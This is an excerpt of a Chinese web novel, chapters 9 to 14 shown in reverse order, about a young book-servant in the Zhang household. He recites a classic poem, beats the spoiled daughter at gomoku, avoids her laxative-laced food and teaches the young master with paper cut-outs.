“在那东胜神洲,有一个海外仙国,名为傲来国。国近大海,海中有一座名山,唤为花果山。那山顶之上,有一块仙石,自开辟以来,每受天真地秀,日精月华,感之既久,遂有灵通之意。内育仙胞,一日迸裂,产一石卵,似圆球样大。因见风,化作一个石猴……” 张静姝乌溜溜的大眼睛,瞬间瞪得溜圆。 猴子……猴子竟然是从石头里蹦出来的? 这是什么猴子?仙猴吗? 她带着满心的好奇,继续竖着耳朵听下去。 哪知这故事越听越有趣,越听越上瘾。 不知不觉间,她竟被彻底吸引了过去。 至于向陈平川报仇的事情,早就被她忘到了九霄云外。 张府的马车在门口停稳。 应酬归来的张盛财带着满身浓重的酒气,脚步有些虚浮地迈进了自家府门。 他眼皮微抬,习惯性地便朝着书房的方向踱去。 他要瞧瞧,那个不让他省心的宝贝儿子,今日是不是又在偷懒耍滑。 离书房还有数步之遥,一阵不同寻常的动静便飘进了他的耳朵。 是张金宝那小子兴奋的嚷嚷声。 第14章 寓教于乐,书还能这么读? 陈平川看着她那副慌乱如小兔般的背影,嘴角勾起一抹意味深长的弧度。 果然有鬼! 他笑眯眯地看着众人兴高采烈地将那些精致的菜肴瓜分一空,吃得津津有味。 “平川,你怎么不吃啊?这鱼肉可真香!”一个仆役腮帮鼓鼓,含糊不清地问道。 陈平川摆了摆手。 “我今日肠胃有些不适,怕是消受不了这些油腻的。你们吃,你们吃,别客气。” 不多时。 饭堂里,先前还喜气洋洋的气氛陡然一变。 “哎哟!我的肚子!” “不行了,不行了,肚子疼得厉害!” “我也是!好像……好像要拉肚子!” 此起彼伏的痛呼声响起。 转眼之间,饭堂内便是一片混乱。 许多吃过那些“赏赐”菜肴的仆役,都捂着肚子,脸色痛苦地扭曲起来,额头上冷汗直冒。 不少人已经脚步虚浮地冲向了茅房的方向。 陈平川静静地看着这一幕,心中冷笑。 这个腹黑又恶毒的臭丫头,为了报复自己昨日让她丢脸,竟然在饭菜里下了药! 而且看这药性,还不弱呢! 幸亏自己多留了个心眼,不然今天也得跟着出糗,在茅房里蹲半天了。 任管家很快便闻讯匆匆赶了过来。 当他看到饭堂里东倒西歪、呻吟不止的仆役们,再三询问,得知是小姐“赏赐”的食物惹得祸之后,一张脸顿时拉得老长,黑得能滴出墨来。 他心中暗暗叫苦不迭:“我的小祖宗喂,这又是唱的哪一出啊!” 他无奈地重重叹了口气,却不敢去责怪那位小祖宗。 只能急声吩咐身边的家丁:“快!快去镇上把王郎中请过来!多带几个人手,就说府里好些人吃坏了肚子,让他赶紧的!” 吩咐完毕,他目光复杂地扫过角落里那个依旧端坐如松、神色平静的陈平川。 这小子…… 怕是不止看穿了小姐的伎俩,还顺水推舟了一把,既避开了灾祸,又让小姐的阴谋败露。 小小年纪,这份心智,着实不简单。 …… 午后的阳光在书房光洁的青石地板上,投下几块斑驳陆离的光影。 陈平川捧着几本线装书,悄无声息地走进了书房。 张金宝此刻正没精打采地趴在宽大的书案上。 他面前摊着一本《三字经》,呆呆地盯着纸上那些黑漆漆的墨迹,一脸的生无可恋。 听见细微的脚步声,再看到是陈平川进来了,张金宝那双黯淡的眼睛里,瞬间就迸发出了光彩! 他猛地从书案上弹了起来。 “大哥!” 张金宝几步就蹿到了陈平川面前,激动地一把抓住了他的衣袖。 “你可总算是来了!我都快闷死了!”他苦着脸抱怨。 陈平川将手里的书稳稳当当放到一旁的书架上。 然后,从怀里慢悠悠掏出一个小巧的布包。 “少爷,莫急。” 陈平川脸上露出一抹神秘兮兮的笑容,还特意压低了声音。 “我给你带了好东西。” 张金宝的眼睛“唰”地一下就亮了,好奇地伸长了脖子凑过头去。 “啥好东西?快给我瞅瞅!” 陈平川左右张望了一下,才开口:“这些东西啊,就是我上午跟你提过的。” “保证能让你一下子就喜欢上读书,比方先生教的那些有意思多了!” 张金宝的脑袋凑得更近了,小眼睛瞪溜圆。 “真的假的?到底是什么宝贝?快,快让我开开眼!” 陈平川这才不紧不慢地打开了那个小布包。 布包摊开,里面露出来的,竟是一些五颜六色、剪裁奇特的纸片。 有的纸片像振翅欲飞的小鸟。 有的像四蹄奔腾的走兽。 还有的,则剪成了太阳、月亮和星星的模样,惟妙惟肖。 张金宝的眼珠子瞬间就看直了,嘴巴微微张开,半天都合不拢。 “哇!大哥,这些……这些都是你做的吗?你可真厉害!” 陈平川听着这赞叹,小胸脯得意地挺了挺。 “那当然!这可是我的秘密武器。” 他随手拿起一个剪成人形的小纸片,在张金宝眼前晃了晃。 “你瞧,用这个来学《三字经》,保准比你干巴巴地死记硬背,要有意思得多啦。” 张金宝闻言,脸上露出一丝半信半疑的神色,两条小眉毛微微皱了起来。 “可……可方先生说了,读书就是要一遍遍地背,背熟了自然就会了,没有捷径走!” 陈平川促狭地眨了眨眼。 “那是方先生他老人家不知道我这个法子。” “我这个法子啊,叫做‘玩中学’,一边玩儿,一边就把书给读了,一举两得,多好!” 他伸手指了指书案上摊开的那本《三字经》。 “就说这开头的‘人之初,性本善’,少爷,你知道这是啥意思不?” 张金宝老老实实地摇了摇头,有些泄气。 陈平川拿起两个剪好的小人形纸片。 一个纸人脸上带着和善的微笑。 另一个纸人则是一副凶巴巴的表情。 “少爷你看。” 他举起那个微笑的纸人。 “这代表两个人。人啊,刚生下来的时候,心肠都是好的,善良的,就像这个笑眯眯的小人儿一样。” 接着,他又举起那个表情凶狠的纸人。 “但是呢,如果后来没有人好好教育他,或者跟人学坏了,变得像这个凶巴巴的小人儿。” 张金宝听得眼睛一眨不眨,小脸上露出了恍然大悟的神情。 “哦!原来是这个意思啊!我好像有点明白了!” 他兴奋地追问:“那,那‘性相近,习相远’又是啥意思呢?” 陈平川又从布包里拿出好几个不同模样的小纸人,在桌子上一字排开。 “这句话是说啊,人的本性呢,其实都差不太多。” “但是呢,因为每个人后来学习的东西不一样,生活的环境也不一样,慢慢的,人与人之间的差别就会变得非常大。” 他指着其中一个头戴方巾,手拿书卷的纸人。 “比方说,这个人从小就用功读书,知书达理,长大了呢,就可能当上大学士,受人尊敬。” 他又指向另一个拿着大刀,歪戴着帽子的纸人。 “再看这个人,从小就没人管教,不学好,整天惹是生非,长大了呢,就可能变成一个打家劫舍的强盗,人人喊打。” 张金宝听得入了神,不由自主地连连点头。 “我明白了!我彻底明白了!所以,读书才这么重要,对不对?” 陈平川见他开窍,立刻竖起一个大拇指。 “少爷真是聪明!一点就透!” 张金宝得到夸奖,脸颊微微泛红,开心地咧嘴一笑,露出两颗小虎牙。 “那,那后面的呢?大哥你再给我讲讲。” 第13章 大小姐赔礼道歉?陈平川将计就计! 书房内,很快便又响起了方先生那抑扬顿挫,却也枯燥无比的领读声。 “人之初,性本善。性相近,习相远……” 张金宝端端正正地坐在书案前,小胖脸上努力挤出认真听讲的模样。 起初,他还强打着精神,瞪大着眼睛。 可没一会儿,那小脑袋便开始一点一点的,像是小鸡啄米一般。 眼皮也控制不住地开始打架,沉重得如同灌了铅。 方先生嘴里念叨的那些“之乎者也”,在他听来,简直比蚊子叫还要催眠。 “啪!” 一声清脆的戒尺敲击书案声,猛然炸响! 张金宝吓得一个激灵,浑身猛地一颤,睡眼惺忪地望向怒气冲冲的方先生。 “又打瞌睡!简直是朽木不可雕也!”方先生气得吹胡子瞪眼,花白的胡子都在微微发颤。 “罚你将今日所学的句子,抄写十遍!” 张金宝委屈地撅起了小嘴,却又不敢顶撞,只能苦着脸应下。 好不容易熬到下学,方先生离开了书房。 张金宝立刻像是得了大赦一般,从书案后跳了下来,一把拉住陈平川的衣角,小胖脸皱得跟个苦瓜似的,就差没掉眼泪了。 “大哥,救命啊!” 他带着哭腔央求道:“方先生念的那些字,就像好多好多小虫子在我脑袋里爬来爬去,嗡嗡嗡的,听得我头都大了!” “比我爹拿着棍子骂我的时候还难受!” 陈平川看着他那副可怜巴巴、生无可恋的模样,心中暗自一笑,心里已经有了计较。 “少爷莫急。”陈平川故作老成地拍了拍张金宝的肩膀,压低了声音,神秘兮兮地凑到他耳边。 “常言道,世上无难事,只怕有心人。” “下午啊,我自有办法,能让你觉得读书也是一件顶有意思的事情。” 张金宝闻言,原本黯淡无光的眼睛里,瞬间迸射出一道亮光! “真的?”他惊喜地问道,声音都拔高了几分,“大哥,你有什么好办法?” 陈平川食指竖在唇边,做了个噤声的手势,脸上带着一丝狡黠的笑意。 “嘘,天机不可泄露。” “等下午你就知道了。” 张金宝见他这般故弄玄虚,心里更是痒痒的,充满了期待,用力地点了点头。 “好!大哥,我可就全指望你了!” 午饭时分。 仆役饭堂里,喧闹中带着饭菜的香气。 陈平川刚拿起粗瓷碗,握住竹筷,正准备扒拉两口饭菜填肚子。 便在这时,一道娇小的身影,带着几个丫鬟婆子,如同一阵小旋风般闯了进来。 正是张静姝。 这小丫头片子,今日换了一身簇新的粉色襦裙,打扮得愈发精致,小脸蛋儿粉扑扑,很是可爱。 她径直走到陈平川对面的那条长条凳上坐下,小巧的下巴微微扬起。 “把食盒打开。”她吩咐道,声音清脆。 随行的丫鬟们应声,手脚麻利地打开了一个描金绘彩的精致食盒。 食盒一开,香气更是浓郁了几分。 里面摆放的菜肴,竟然比昨日张静姝自己那份还要丰盛得多。 油光锃亮的烧鸡,肥而不腻的扣肉,清蒸的鲜鱼,还有几样精致的点心。 热气腾腾,色香味俱全。 周围埋头吃饭的仆役们,一时间都看直了眼。 不少人下意识地吞咽着口水,目光中充满了羡慕。 张静姝却一反常态,声音里带着一丝刻意的甜糯,那双乌溜溜的大眼睛盯着陈平川。 “陈平川。”她开口,声音比平时柔和了不止一点半点。 “昨天……昨天是我不对,我不该乱丢东西的,我娘都教训我了。” 她顿了顿,似乎在组织语言。 “喏,这些好吃的,是我特意让厨房给你做的,就当……就当是我跟你赔不是了!” 说到最后,她还是忍不住带上了一句惯有的娇蛮:“你可别不识抬举,哼!” 此言一出,饭堂内顿时鸦雀无声。 所有人都瞪大了眼睛,露出难以置信的表情。 这位平日里眼睛长在头顶上的大小姐,竟然会主动向一个小书童赔礼道歉? 还送上这般丰盛的食物? 太阳打西边出来了? 陈平川心中却是警铃大作,面上却丝毫不显。 这小丫头,葫芦里究竟卖的什么药? 以她那睚眦必报的性子,素来骄横跋扈,怎会如此轻易低头认错? 他仔细打量着张静姝。 只见她那双乌溜溜的大眼睛里,目光躲躲闪闪,哪里有半分真诚的歉意? 分明是做贼心虚的模样。 哼,无事献殷勤,非奸即盗! 陈平川面上却不动声色,反而露出了几分受宠若惊的惊喜表情,配合着他八岁的年纪,倒也惟妙惟肖。 “哎呀,这怎么好意思呢?” “多谢小姐厚赐,小的……小的真是愧不敢当啊!” 张静姝见陈平川似乎信以为真,并且“接纳”了她的道歉,紧绷的小脸顿时放松下来。 她嘴角的弧度控制不住地微微扬起一抹得意的笑意,催促道,“你知道就好,快吃吧,嘻嘻。” 陈平川却没有立刻动筷子。 他笑眯眯地看着张静姝,问道:“小姐,您不一起吃点吗?这么多好吃的呢。” 张静姝的脸色变了变,连忙摇头。 “我、我已经吃过了!这些都是特意给你准备的。” “那小姐可真是太客气了,小的真是感激不尽。”陈平川笑得越发灿烂。 他话锋一转:“不过,这么多山珍海味,我一个小孩子,肚子也小,一个人哪里吃得完呀?” “若是吃不完浪费了,岂不是辜负了小姐您的一番美意?” 说完,不等张静姝反应过来,他便提高了声音,转向周围那些伸长了脖子看热闹的仆役们。 “诸位大哥大姐,小弟我一个人也吃不了这么多。” “大家若是不嫌弃,便一同分了吧,也算沾沾咱们小姐的福气,尝尝这大厨房的手艺!” 此言一出,那些仆役们先是一愣,随即脸上露出了既渴望又犹豫的神色,面面相觑。 “来吧,来吧!”陈平川热情地招呼着。 “咱们小姐先前不也说了嘛,可不能浪费粮食啊!” 他特意加重了“浪费粮食”四个字。 “大家快来一起分享,可千万不要辜负了小姐的一番好意啊!” 张静姝的脸色瞬间变得煞白,又由白转青,再由青转红,精彩纷呈。 她想开口阻止,却又不知道该如何开口。 眼看着这些仆役,在陈平川的再三邀请下,已经有些意动,开始朝这边走来。 张静姝急得直跺脚,额头上都渗出了细密的汗珠。 “我、我还有事,我先走了!” 她狼狈地丢下这句话,也顾不上什么小姐的仪态了,带着她的丫鬟婆子,匆匆忙忙地逃离了饭堂。 第12章 巧舌如簧,大伯来当挡箭牌 “方先生,请留步。” 任管家的声音带着几分急切,从后方传来。 方先生闻声停下了脚步,花白的眉头微微一蹙,略带一丝不解地回望过去,正对上任管家匆匆赶来的身影。 任管家快步走到近前,先是恭敬地拱了拱手,这才将方才在饭堂之中,陈平川念出的那首四句短诗,一字不差地复述了一遍。 随后他抬起头,眼神里带着几分探寻,小心翼翼地问道:“先生您学问渊博,不知可曾听过此诗?” “此诗……可有名目?又是何人所作?” 方先生起初听着,神色尚还维持着惯有的平淡。 可当任管家念到那句“汗滴禾下土”之时,他握着书卷的手指便不自觉地微微一紧,脸色也开始有了细微的变化。 待到任管家将整首诗念完,他整个人竟如同被施了定身法一般,呆立当场。 捏着自己花白胡须的手,控制不住地微微颤抖起来。 嘴唇翕动着,一遍又一遍地,在心中反复咀嚼着那几句朴素至极,却又仿佛力有千钧的诗句。 “这……这诗……” 越是品味,越觉得此诗言辞虽是浅白易懂,几乎人人能解,然其意境之深远,其悲悯之情怀,却字字泣血,直指人心! “当真是……当真是发人深省!寓意至深啊!” 方先生激动得声音都有些变调了,平日里端着的架子此刻也顾不得了。 “老夫……老夫竟从未听过如此……如此直抒胸臆,鞭辟入里的佳作!” 他虽只是个屡试不第的秀才,但也曾年轻时游学四方,亲眼见过田间农人顶着烈日、弯腰弓背耕作的艰辛。 然而,能将农事之苦、盘餐之贵,写得这般浅显直白,却又这般深刻动人的诗句,实乃他平生罕见! 不,这等境界,简直是闻所未闻! 方先生只觉得胸中波涛翻涌,一股难以言喻的激荡情绪久久无法平息。 他猛地一把抓住任管家的手臂,眼神灼灼,急切问道:“任管家,你…你从何处听得此诗?!” 任管家被方先生这般激动的模样吓了一跳,连忙据实回答:“是……是府上新来的那个小书童,陈平川。” “方才在饭堂,他见小姐糟蹋饭食,便……便念了出来。” “陈平川?” 方先生眉头瞬间紧紧锁了起来,如同打了好几个结。 “那个新来的书童?” 他脑海中浮现出那个面黄肌瘦,却眼神清亮的农家小子。 “一个……小小的八龄稚童,竟能吟出此等佳句?” 一个尚未开蒙的孩童,纵然比寻常孩子多了几分小聪明,又如何能作出此等蕴含着人生疾苦、饱含着岁月沧桑之感的诗句? 这绝无可能! 他几乎是下意识地就否定了这个念头。 定然是这孩子从何处听来的残篇断句,今日恰巧在此情此景之下,福至心灵般,胡乱拼凑吟诵了出来! 对,一定是这样! 方先生深吸一口气,眼神中闪烁着复杂难明的光芒。 他决定了。 明日上课,定要好好盘问那陈平川一番! 务必弄清楚,这等堪称绝妙的诗句,他究竟是从何处听来!若是能找到原作者,那也是文坛一桩幸事! …… 翌日,清晨。 熹微的晨光透过窗棂,在书房内投下斑驳的光影。 陈平川早早地便来到了书房。 他先是将书案仔仔细细擦拭了一遍,不留半点尘埃。 随后,又将笔墨纸砚一一摆放整齐,研好了墨,滴了水,一切都打理得井井有条。 他一边有条不紊地忙碌着,一边在心中默默琢磨着。 该如何才能让张金宝那个榆木脑袋,稍稍开那么一点点窍呢? 这可真是个大难题。 正思忖间,一阵熟悉的脚步声由远及近。 方先生身着一袭白长衫,面色沉肃地走了进来。 只是今日,他并未如往常般直接走向书案,而是在陈平川面前停下了脚步。 那双略显浑浊的眼睛里,紧紧盯着陈平川。 “陈平川,你且过来。”方先生的声音不高,却带着一股威严。 陈平川心中一凛,不知道什么情况。 他面上却丝毫不敢显露,依旧是那副乖巧听话的模样,迈着小步子,恭恭敬敬地走到了方先生面前。 “先生唤小的何事?”他微微仰着头,眼神清澈。 方先生上上下下地打量着陈平川,那目光仿佛要将他看透一般。 他沉默了片刻,这才缓缓开口:“昨日你在饭堂所念的那首诗,是从何处抄来的?什么名目?” 陈平川眨了眨黑白分明的大眼睛,故作茫然地偏了偏小脑袋。 “先生说的是哪首诗呀?” 方先生见他装傻,眉头顿时一皱,语气也严厉了几分:“就是那‘锄禾日当午,汗滴禾下土’的诗句!” “休要在我面前装糊涂!” 陈平川这才像是恍然大悟一般,“哦”了一声,随即伸出小手,有些不好意思地挠了挠后脑勺。 他声音带着几分独属于孩童的稚气,解释道:“先生,您说那首诗叫《悯农》,是我从我大伯那儿听来的。” “我大伯是秀才,平日里就爱念叨些我们听不懂的句子。” “我听着这几句顺口,又好像有点意思,就记住了几句。” 他微微低下头,声音小心翼翼:“昨日……昨日瞧见小姐她把饭菜扔了,平川就想着,这些都是种田的伯伯叔叔们好辛辛苦苦才弄出来的。” “一时……一时就随口念出来了。” “先生,平川是不是说错话了?” 方先生紧紧盯着陈平川的眼睛,试图从那双清澈的眸子里瞧出些许撒谎的痕迹。 然而,陈平川一派镇定自若,眼神坦荡,回以纯真无邪的目光。 方先生捻着颌下稀疏的胡须,沉吟不语。 这书童神色坦然,不似作伪,言语间也合乎一个八岁孩童的认知,他心中的疑虑,倒也稍稍减退了几分。 只是,一个乡间秀才,即便有些学问,当真能作出这般直指人心的诗句么? 他心中,仍旧存着疑问。 “罢了。”方先生最终还是摆了摆手,不再深究。 毕竟,诗是好诗,能让这孩子记住并念出来,也算是有教化之功。 “既是听来的,便不可妄称己作,以免贻笑大方。” “日后也莫要胡言乱语,听见没有?”他板着脸告诫了一句。 心中的疑云暂且按下,日后再去拜会这书童的大伯。 “时辰不早了,开始今日的课业罢。”方先生说罢,便转身走向书案。 陈平川则在心中悄悄松了一口气,暗自庆幸自己反应够快。 用那位秀才大伯当挡箭牌,总算是暂时糊弄过去了。 这也给他提了个醒,以后再想“借鉴”前人智慧的时候,可得更加小心谨慎,不能再这么明目张胆了,以免引来不必要的麻烦。 第11章 一首悯农惊四座,小姐又破防了! 一上午的课,就在这种沉闷而又压抑的气氛中,慢慢悠悠地过去了。 午饭时分。 陈平川跟着任管家,去了仆役们用饭的饭堂。 几张简陋的长条桌上,摆放着简单的饭菜。 一大盆白米饭,管够。 还有一盆青菜豆腐,上面稀稀拉拉地飘着几星可怜的油花。 但这对于陈平川而言,已是难得的美味。 在家中的时候,能填饱肚子便是万幸,豆腐更是逢年过节才能见到的稀罕物。 他吃得津津有味,每一口都细细咀嚼。 米饭的微甜,青菜的清爽,豆腐的软嫩,在他口中都是难得的享受。 心中不由感到一丝满足。 虽然没有自由,但包吃包住,对他来说,已经很不错了。 就在这时,一个小小的身影忽然旋风般地跑了进来。 正是张静姝。 她身后还跟着几个提着精致食盒的丫鬟婆子,一个个都跑得气喘吁吁。 张静姝作为张家的小姐,自然是有单独的小灶。 饭菜比仆役们的,不知道要精致多少倍。 那打开的食盒里面,摆着四五样色香味俱全的菜肴。 还有一盅看起来就香气扑鼻的肉羹,正冒着袅袅热气。 “小姐,小姐您别跑了,快吃饭吧,饭菜都快凉了。”一个丫鬟追上来劝道。 张静姝却停下脚步,撅着红润的小嘴,满脸都是不耐烦。 “都说了,我要吃桂花糕!把这些都给我拿开!” 一个上了年纪的婆子满脸担忧地劝道:“我的好小姐,您好歹吃一点,不吃饭会饿坏身子的。” “再说,夫人吩咐了,不让您吃那些点心……” “我不管!” 张静姝大小姐脾气一上来,猛地抬手一挥,竟是将那食盒整个掀翻在地! “啪嚓!” 一声脆响。 白瓷碗碟碎裂开来,精致的饭菜、香喷喷的肉羹,洒了一地都是。 周围的丫鬟仆役们见状,皆是噤若寒蝉,连大气都不敢喘一口,生怕惹祸上身。 一个炸得金黄酥脆的鸡腿,骨碌碌滚到了陈平川的脚边,沾了些许地上的尘土。 他低头看了一眼自己碗里那清淡的青菜豆腐。 又看了一眼脚边那只香气诱人的鸡腿,眉头不由微微皱了起来。 这香喷喷的鸡腿,若是能给妹妹平玉吃上一口,她该有多高兴啊。 可在这富贵荣华的张府,如此精美的食物,却被这个小丫头视如敝履,随意糟蹋。 他看向张静姝,心中暗自叹了口气。 这小丫头,真是被宠得不知人间疾苦了。 “我不要吃这些垃圾!听见没有!我要吃桂花糕!” 任性的小萝莉还在对着身边的下人们大声发着脾气。 忽然,她目光一瞥,像是才发现陈平川在看着自己。 本就窝着火,这下更是气不打一处来,她伸出小手指着他的鼻子,生气喊道: “臭书童!你看什么看?” 陈平川没有说话。 他只是弯下腰,捡起了那只滚落在地、沾了些尘土的鸡腿。 张静姝见他这般动作,一双柳眉顿时倒竖起来,小脸涨得通红。 “你干什么?” 她尖声道:“莫非你还想吃了它不成?!” 陈平川依旧没有理会她。 他只是伸出小手,轻轻拍了拍鸡腿上沾染的灰尘。 动作不疾不徐。 “锄禾日当午,” 他开口了,声音不高,带着一丝特有的稚嫩。 “汗滴禾下土。” 然而,这平静的童音,却清晰地传入了饭堂中每一个下人的耳中。 “谁知盘中餐,” “粒粒皆辛苦。” 饭堂内,霎时间落针可闻。 所有人都停下了手中的动作,目光齐刷刷地汇聚在这个新来的小书童身上。 惊讶,错愕。 谁也未曾料到,这个看起来瘦弱文静的农家小子,口中竟能吐出如此……令人心头一震的诗句。 陈平川在心中暗自摇了摇头。 这首《悯农》,用在此情此景,倒也算是贴切。 只是那位写下此诗的李绅,后来似乎忘了自己曾经写过这么一首诗。 张静姝更是睁大了那双乌溜溜的杏眼,小嘴微张,满脸的茫然。 “你……你在胡说八道些什么?” 她听不懂诗句的深意,却能感觉到气氛严肃。 陈平川终于抬眼看向她,目光平静无波。 “我在告诉你,不要浪费粮食。” 顿了顿,他又补充道:“也不知道,你能不能听懂。” 张静姝虽不解诗意,但她却听出了陈平川话语里教训的意味! 上午被他教导,现在又被他当众指责! 一股火气直冲头顶,她杏眼圆睁,气呼呼地嚷道:“你觉得浪费,那你把它吃了呀!我看你敢不敢!” 她就不信,这土包子真敢吃掉在地上的东西! 沾了土,非常脏! 周围的丫鬟仆役们也都屏住了呼吸,一个个瞪大了眼睛,紧紧盯着陈平川。 陈平川将鸡腿上的灰尘仔仔细细地拍打干净。 随即,就在众人难以置信的注视下,他毫不犹豫地张开小嘴,对着那鸡腿,狠狠咬了一大口。 鸡腿外皮炸得金黄酥脆,内里的嫩肉汁水丰盈。 “唔……真香!” 他含糊不清地咀嚼着,随即发出一声满足的轻叹。 饭堂之内,一片死寂。 张静姝的眼睛瞪得溜圆,小嘴张得仿佛能塞进一个鸡蛋。 她的小脑袋瓜,此刻一片空白。 这……这个土包子…… 他,他竟然真的吃了! 吃了她丢在地上的鸡腿! 陈平川不理会旁人各异的目光,三两口便将那只鸡腿吃得干干净净。 他随手将啃光的骨头往旁边一放。 然后,才又看向震惊中的张静姝,语气依旧淡淡的。 “这么好吃的东西,下次可别再乱扔了。” “很多人,连饭都还吃不上呢。” 说完,他不再理会呆若木鸡的张静姝,转身便朝着饭堂外走去。 小小的身影,从容镇定。 直到他的背影即将消失在门口,张静姝才猛地反应过来。 她气得小脸通红,跺着脚尖声喊道:“陈平川!你给我回来!” “臭书童,你听到没有!不准走!” 喊罢,她也顾不上什么仪态了,提着自己的小裙摆,急匆匆地追了出去。 任管家将这一幕完完整整地看在眼底。 他捋着自己的山羊胡,看向陈平川离去的方向,眼神中充满了赞赏与惊奇。 这孩子…… 当真是深明大义,与众不同。 不仅胆识过人,竟还懂得诗文。 虽不知那诗句是何人所作,但细细品来,只觉字字珠玑,发人深省。 “锄禾日当午,汗滴禾下土……” 他口中默默念诵着这两句,越品越觉得其中意味深长,却又难以用言语尽述其妙。 正自低头琢磨着,一抬头,便看见方先生背着双手,正从不远处的月亮门那边,慢悠悠地踱了过来。 看那样子,似乎是要出府回家。 任管家心中一动,连忙快步迎了上去。 第10章 降维打击,傲娇小姐破防了! “什么棋呀?” 张静姝眨巴着一双乌溜溜的大眼睛,好奇地打量着陈平川。 陈平川却不急着回答。 他拿起毛笔,就在张金宝和张静姝眼前,慢条斯理地画了起来。 纸上出现的,不再是那简单的井字格。 而是一个更大,格子也更多的全新棋盘。 “这个棋呢,叫‘五子棋’。” 陈平川用小孩子能听懂的话,简单解释了规则。 “谁先把自己颜色的五个棋子连成一条线,不管是横的、竖的、还是斜的,就算赢了。” 张静姝小嘴一撇,鼻子里轻轻哼了一声,语气里满是不屑:“哼,不就是格子多了点?我照样能赢你!” 这小丫头,口气还是那么大。 陈平川心底暗笑,做了个“请”的手势,让她来试试。 张静姝信心十足地抓过毛笔,迫不及待地开始落子。 然而,才下了几步,她的小眉头就蹙了起来。 她很快发现,这五子棋的门道,可比井字棋深多了! 棋盘变大了,能下子的地方自然也多了。 但同样的,来自对方的威胁也变得无处不在,再不像井字棋那样,一眼就能把局势看个七七八八。 她原先在井字棋里那些得意的小招数,到了这五子棋上,竟然完全派不上用场! 陈平川这边,落子不快。 每一颗棋子点下,都像是在不慌不忙地编织一张无形的大网。 张静姝很快就手忙脚乱起来。 她这边才刚刚堵住一个看似危险的点,陈平川的棋子却又在棋盘的另一处连了起来。 顾头不顾尾,完全被陈平川牵着鼻子走。 不过片刻功夫,张静姝便一连输了三局。 她呆呆地看着棋盘上,陈平川那连成一线的棋子。 再看看陈平川那副云淡风轻、仿佛不费吹灰之力的模样。 一种前所未有的挫败感涌上心头。 她那张一向骄傲的小脸蛋,涨得通红通红。 要知道,在家里,她可是人人都夸的神童啊! 今天竟然会输给这个,这个乡下来的臭小子! 而且,还是输得这么彻底! 陈平川指着棋盘,声音平静无波。 “你看,你这里,还有这里,都下错了。” “若是早些堵住我这两个点……” 张静姝听着陈平川一板一眼地指出她的失误,只觉得两边脸颊火辣辣地烫。 她从小到大,哪曾被人这么当面说过“你这里错了,那里也错了”? 更别提,说这话的,还是个她打心底瞧不上的农家土包子! 一股难以言喻的委屈和羞恼,如同小火山爆发一般,从心底直冲脑门。 眼眶一红。 “哇——!” 小丫头突然大哭出声,猛地将手中的毛笔狠狠丢到地上。 豆大的泪珠儿,噼里啪啦地往下掉,断了线的珠子似的。 “不玩了!这什么破棋!一点都不好玩!” “呜呜……我明明比哥哥聪明那么多……为什么还会输?” 她一边哭,一边小身子一扭,转身就往院子里跑。 那粉色的身影,很快就消失在了月亮门后。 远远的,还传来她带着浓浓哭腔的叫喊。 “我再也不跟你玩了!” 张金宝看着妹妹哭着跑开,小胖脸都吓白了,顿时慌了神:“完了完了,妹妹肯定要去找娘告状了!” 陈平川心中暗自一叹。 这小丫头,还真是输不起啊。 不过转念一想,倒也正常。 从小娇生惯养,被捧在手心里长大的千金小姐,哪里受过这种当头一棒的挫折? 恰在此时,一道身影慢悠悠地踱了过来。 正是方先生,手里还拿着一卷书。 他一眼便瞧见张静姝哭哭啼啼地从书房里跑出去。 又一眼扫到了张金宝和陈平川面前的宣纸。 那上面,画满了各种圈圈叉叉,以及那个新出现的、更大的“五子棋”棋盘。 方先生的脸色,瞬间就沉了下来,像快要下雨的乌云。 他平生最看不惯的,就是这些“玩乐之物”! 在他看来,读书求学乃是天底下最正经不过的事情,岂容半分嬉戏玩闹? 要想出人头地,就要付出百倍努力,哪有时间浪费? “哼,玩物丧志!” 方先生心中冷哼一声,目光不善地瞥了陈平川一眼。 “定是这个新来的书童,不好好引导少爷温习功课,反而弄些乌七八糟的游戏,引着少爷贪玩!” “甚至,还把小姐都给气哭了!” “如此书童,怎堪辅佐少爷向学?” 他对陈平川的第一印象,已然差到了极点。 “咳!” 方先生重重地咳嗽了一声,迈步走入书房。 “时辰已到,开始今日的课业。” 他顿了顿,语气生硬地补充道:“继续温习《三字经》……” 书房内,陈平川依着规矩,安静地垂手侍立在一旁。 方先生翻开那本有些泛黄的《三字经》,开始摇头晃脑地领读。 “人之初,性本善……” 声音抑扬顿挫,自有一番腔调,却也枯燥得很。 陈平川暗自撇嘴,这老先生教书,比他大学里最无聊的选修课教授还要催眠。 张金宝端端正正地坐在书案前。 起初,他还努力地瞪大着眼睛,试图表现出认真听讲的模样。 可没一会儿,那小脑袋就开始一点一点的,像是小鸡啄米。 眼皮也控制不住地开始打架。 方先生嘴里念叨的那些“之乎者也”,他是一个字也听不进去。 眼看着,就要和周公他老人家去棋盘上切磋技艺了。 “张金宝!” 一声怒喝,如同平地惊雷。 方先生手中的戒尺,重重地敲击在书案上,发出“啪”的一声巨响。 张金宝吓得一个激灵,浑身一颤,那点可怜的困意顿时消散得无影无踪。 “老夫让你背书!你竟然给老夫打瞌睡!” 方先生气得吹胡子瞪眼,花白的胡子都在微微发颤。 “方才画那些乱七八糟的东西,你怎么不困?啊?” “罚你将今日的功课,抄写十遍!” 陈平川将方先生的教学方式和张金宝的反应,一丝不落地尽收眼底。 他心中暗自思忖。 这位方先生,讲起书来确实是头头是道,引经据典,学问应该是有的。 只是,这种填鸭式的教法,未免也太枯燥乏味了些。 翻来覆去就是让张金宝跟着念,跟着背。 莫说张金宝本就不爱学习,便是换个对读书有几分兴趣的孩子过来,怕也要被他念叨得昏昏欲睡。 这样下去,不把人教得彻底厌学才怪。 死读书,读死书,读书死……说的,大概就是这种情形吧。 可惜,他现在只是个小小的书童,人微言轻。 这些想法,也只能暂时藏在心里,走一步看一步了。 第9章 初入张府,少爷傻憨憨,小姐真聪明! 分家的事情暂时平息。 陈平川也该去张府了。 陈仲和默默地将儿子送出院门。 这位沉默寡言的汉子,一个字都说不出来,只是重重地拍了拍儿子瘦弱的肩膀。 那掌心传递来的父亲的不舍、愧疚与期待。 陈平玉死死拽着陈平川的衣角。 她哭得小脸通红,就是不肯松手。 “哥哥,不要走……呜呜……”小小的身子在他腿边蹭着。 罗氏强忍着又涌上来的泪水,走上前,轻轻拉开女儿攥紧哥哥衣角的小手,然后将她紧紧搂进怀里。 母女俩站在院门口,眼泪模糊了视线。 就这样看着那个小小的身影,一步一步,渐渐远去…… 张府。 陈平川依着约定的时辰抵达。 任管家早已等候在门边,瞧见陈平川来了,微微点头。 “跟我来吧。” 任管家不多言语,直接领着他往府里走。 